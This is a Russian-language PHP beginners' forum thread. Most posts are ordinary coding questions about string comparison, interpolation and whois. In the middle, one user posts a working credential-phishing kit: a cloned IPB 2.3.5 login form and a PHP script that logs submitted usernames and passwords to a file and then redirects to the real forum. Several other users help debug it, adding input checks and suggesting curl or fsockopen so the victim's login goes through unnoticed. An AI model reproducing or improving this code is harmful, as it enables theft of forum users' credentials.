[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3
    прочитай про Интерполяцию переменных и конкатенацию строк, поймешь в чем прикол
     
  2. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    А как мне правильно написать ифы ? хотябы примерно как ?
     
  3. Darkweider

    Darkweider Elder - Старейшина

    Joined:
    8 Feb 2007
    Messages:
    142
    Likes Received:
    13
    Reputations:
    0
    Требуется сравнить два слова одинаковой длины и вывести 1 если слова...

    Требуется сравнить два слова одинаковой длины и вывести 1 если слова отличаются на одну букву. Написал вот кое-что, но блин с одинаковыми буквами не прокатывает.Если в одном из слов одинаковые буквы то все к чертям идет. Мож кто знает как еще можно? вот код

    PHP:
    function wordlater($word_start,$word){

            
    //записываем буквы из предыдущего слова в массив
            
    $lett='абвгдеёжзийклмнопрстуфхцчшщъыьэюя';
            
    $n=strlen($word_start);
            
    $nn=strlen($lett);
            for(
    $i=0;$i<$n;$i++){
                for(
    $k=0;$k<$nn;$k++){
                    if(
    $word_start[$i]==$lett[$k]){
                        
    //проверяем была ли уже записана буква в массив букв встречающихся в слове
                        
    if(strpos($inword,$word_start[$i])===false){
                            
    $inword.=$word_start[$i];
                        }
                    }
                }
            }

            
    $le=strlen($inword);

            
    //теперь проверяем различия
            
    for($i=0;$i<$le;$i++){
                for(
    $j=0;$j<$n;$j++){
                    if(
    $word[$j]==$inword[$i]){
                        
                        
    $outword.=$word[$j];
                        
                    }
                }
            }
    //типо если отличается на 1 по возвращаем 1
            
    $le=strlen($outword);
            if(
    $le==($n-1)){
                return 
    1;
            }else{
                return 
    0;
            }

        }
    }
     
    #8303 Darkweider, 10 Feb 2009
    Last edited: 10 Feb 2009
  4. Carbon1

    Carbon1 New Member

    Joined:
    8 Feb 2009
    Messages:
    17
    Likes Received:
    0
    Reputations:
    0
    Вопрос такой имеется,
    как сделать whios по домену у меня есть whios по ip , но я чтот недодумаюсь всё никак сделать по домену...

     
  5. Carbon1

    Carbon1 New Member

    Joined:
    8 Feb 2009
    Messages:
    17
    Likes Received:
    0
    Reputations:
    0
    неа, када домен ввожу пишет это ...
     
  6. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    PHP:
    <?php
    $a
    ="222";
    $b="222";
    ascii($a,$b);

    function 
    ascii($c,$d) {
       
    $hex '';
       While (
    $s<=2) {
         
    $s++;
         if (
    $s==1$ascii=$c;
         else 
    $ascii=$d
         for (
    $i 0$i strlen($ascii); $i++) {
            
    $byte strtoupper(dechex(ord($ascii{$i})));
            
    $byte str_repeat('0'strlen($byte)).$byte;
            
    $byte hexdec($byte);
            if (
    $s==1)$bufer[$i]=$byte;
            else 
    $bufer1[$i]=$byte;
         } 
       }
       if (
    $bufer==$bufer1) echo "0";
       else echo 
    "1";
    }
    ?>
     
  7. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Darkweider

    PHP:
    $a='1233';
    $b='1232';

    function 
    cmp($a,$b)
    {
        if (
    strlen($a)==strlen($b))
        if (
    strlen(str_replace("\0",'',$a $b))===1) return 1;
        return 
    0;
    }

    echo 
    cmp($a,$b);
    Если ровно одно отличие - то так. Функция правда вернет ноль если буквы будут просто перепутаны. Если это важно - то просто предварительно сортируем строки и прогоняем через эту функцию
     
    _________________________
  8. MyTHblu

    MyTHblu New Member

    Joined:
    20 Jan 2009
    Messages:
    9
    Likes Received:
    1
    Reputations:
    0
    .:EnoT:., да вроде все есть в бд, блин че мне делать с этим mysql_fetch_array?
     
  9. Carbon1

    Carbon1 New Member

    Joined:
    8 Feb 2009
    Messages:
    17
    Likes Received:
    0
    Reputations:
    0
    .:EnoT:. - огромное спасибо =)
     
  10. Ershik

    Ershik Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    301
    Likes Received:
    46
    Reputations:
    6
    Стандартная форма перехвата паролей...
    Которая не работает.
    Пассы сохраняет, но не переносит на сайт.
    Тоько редирект, и пууум. Пожалуйста,повторно введите пароль :(
    Делаю для IPB 2.3.5
    PHP:
    <?PHP 
    $Login 
    $_POST['UserName']; 
    $Pass $_POST['PassWord']; 

    $log fopen("base.php","a+"); 
    fwrite($log,"\n$Login:$Pass \n"); 
    fclose($log); 

    echo 
    "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://site.ru/forum/index.php?act=Login&CODE=01'></head></html>"
    ?>
    Когда убираю
    echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://site.ru/forum/index.php?act=Login&CODE=01'></head></html>";
    им захожу на test.php, выскакивает ошибка:
    Code:
    Notice: Undefined index: UserName in /srv/www/htdocs/forum/test.php on line 2 Notice: Undefined index: PassWord in /srv/www/htdocs/forum/test.php on line 3
    Он не понимает переменных? Или что-то другое?
     
    #8310 Ershik, 10 Feb 2009
    Last edited: 10 Feb 2009
  11. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    в html нету echo, покрути тему назад децл, тут куча таких примеров
     
    1 person likes this.
  12. kevmen

    kevmen Member

    Joined:
    29 Oct 2008
    Messages:
    147
    Likes Received:
    23
    Reputations:
    0
    ?>
    Вторые лишние
     
  13. Ershik

    Ershik Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    301
    Likes Received:
    46
    Reputations:
    6
    Pashkela, ты не поверишь, я знаю, что echo в html нет.
    Это все таки, не язык программирования.

    В скрипте опечатался, исправил, на всякий случай удалил echo...

    И толку-то?
     
  14. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Чо толку-то? Чо за недописанный кусок кода ты выложил? Где сама ФОРМА для ввода пароля и логина? Телепатить надо что ли?
     
  15. Ershik

    Ershik Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    301
    Likes Received:
    46
    Reputations:
    6
    Предлагаю не телепатить.
    Пароли сохраняет.
    Редирект производит.
    Авторизация на настоящем форуме отсутствует.
    Код авторизации html
    PHP:
    <form action="http://127.0.0.1/forum/test.php" method="post" name="LOGIN" onsubmit="return ValidateForm()">
            <
    div class="borderwrap">
            <
    div class="maintitle"><img src='style_images/1/nav_m.gif' border='0'  alt='>' width='8' height='8' />&nbsp;Log In</div>
            <
    div class='row2'>
                <
    div class="formsubtitle">Please enter your details below to log in</div>
                <
    div class="errorwrap" style='margin-bottom:0px;padding-bottom:0px'>
                    <
    h4>Attention!</h4>
                    <
    p>You must already have registered for an account before you can log in.<br />If you do not have an accountyou may register by clicking the 'register' link near the top of the screen</p>
                    <
    p><b>I've forgotten my password! <a href="http://127.0.0.1/forum/index.php?act=Reg&CODE=10">Click here!</a></b></p>
                </div>
            </div>
            <table class='
    ipbtable' cellspacing="0">
                <tr>
                    <td width="60%" valign="top" class='
    row2'>
                        <fieldset>
                            <legend><b>Log In</b></legend>
                            <table class='
    ipbtable' cellspacing="1">
                                <tr>

    <td width="50%"><b>Enter your user name</b></td>
                                    <td width="50%"><input type="text" size="25" maxlength="64" name="UserName" /></td>

                                </tr>
                                <tr>
                                    <td width="50%"><b>Enter your password</b></td>
                                    <td width="50%"><input type="password" size="25" name="PassWord" /></td>
                                </tr>
                            </table>
                        </fieldset>
                    </td>
                    <td width="40%" valign="top" class='
    row2'>
                        <fieldset>
                            <legend><b>Options</b></legend>
                            <table class='
    ipbtable' cellspacing="1">
                                <tr>
                                    <td width="10%"><input class='
    checkbox' type="checkbox" name="CookieDate" value="1" checked="checked" /></td>
                                    <td width="90%"><b>Remember me?</b><br /><span class="desc">This is not recommended for shared computers</span></td>
                                </tr>

    <tr>
                                    <td width="10%"><input class='
    checkbox' type="checkbox" name="Privacy" value="1" /></td>
                                    <td width="90%"><b>Log in as invisible</b><br /><span class="desc">Don'
    t add me to the active users list</span></td>
                                </
    tr>

                            </
    table>
                        </
    fieldset>
                    </
    td>
                </
    tr>
                <
    tr>
                    <
    td class="formbuttonrow" colspan="2"><input class="button" type="submit" name="submit" value="Log me in" /></td>
                </
    tr>
                <
    tr>
                    <
    td class="catend" colspan="2"><!-- no content --></td>
                </
    tr>
            </
    table>
        </
    div>
    </
    form><!--TASK--><img src='http://127.0.0.1/upload/index.php?act=task' border='0' height='1' width='1' alt='' />
    Код сохранения паролей
    PHP:
    <?PHP 
    $Login 
    $_POST['UserName']; 
    $Pass $_POST['PassWord']; 

    $log fopen("base.php","a+"); 
    fwrite($log,"\n$Login:$Pass \n"); 
    fclose($log); 
    ?>
    <html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://127.0.0.1/forum/index.php?act=Login&CODE=01'></head></html>
    kevmen
    Может,
    PHP:
    header("Location: http://127.0.0.1/forum/index.php?act=Login&CODE=01");
    Так тоже пробовал.
     
    #8315 Ershik, 10 Feb 2009
    Last edited: 10 Feb 2009
  16. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Ershik, он не находит переменных.
    PHP:
    <?PHP  
    if (isset($_POST['UserName']) and isset($_POST['PassWord'])) { // проверка на существование переменных
    $Login $_POST['UserName'];  
    $Pass $_POST['PassWord'];  

    $log fopen("base.php","a+");  
    fwrite($log,"\n$Login:$Pass \n");  
    fclose($log);  

    echo 
    "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://site.ru/forum/index.php?act=Login&CODE=01'></head></html>";}  
    ?>
     
  17. Ershik

    Ershik Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    301
    Likes Received:
    46
    Reputations:
    6
    Ошибка исчезла, но авторизация не происходит.
    Думаю, есть еще какая-то проблема с переменными.
    Хотя если в исходнике посмотреть, все абсолютно верно.
     
  18. kevmen

    kevmen Member

    Joined:
    29 Oct 2008
    Messages:
    147
    Likes Received:
    23
    Reputations:
    0

    Переменные будут существовать в любом случае,раз они заданы
     
  19. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Если в поле логина и пасса написать что-то и отсабмитить - переменные будут заданы, а если ты просто зашел на сайт, они пустые, т.к. там ничего не написано.

    Конечно не происходит, т.к. у тебя экшн идёт на страницу с записью логина и пасса, а уже потом с пустыми переменными переходит на страницу логина. Юзай fsockopen или curl
     
  20. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    вот вы мутите, а не проще весь код (включая логирование паролей) в один код внести? Нафига тут вообще form action???
     
Thread Status:
Not open for further replies.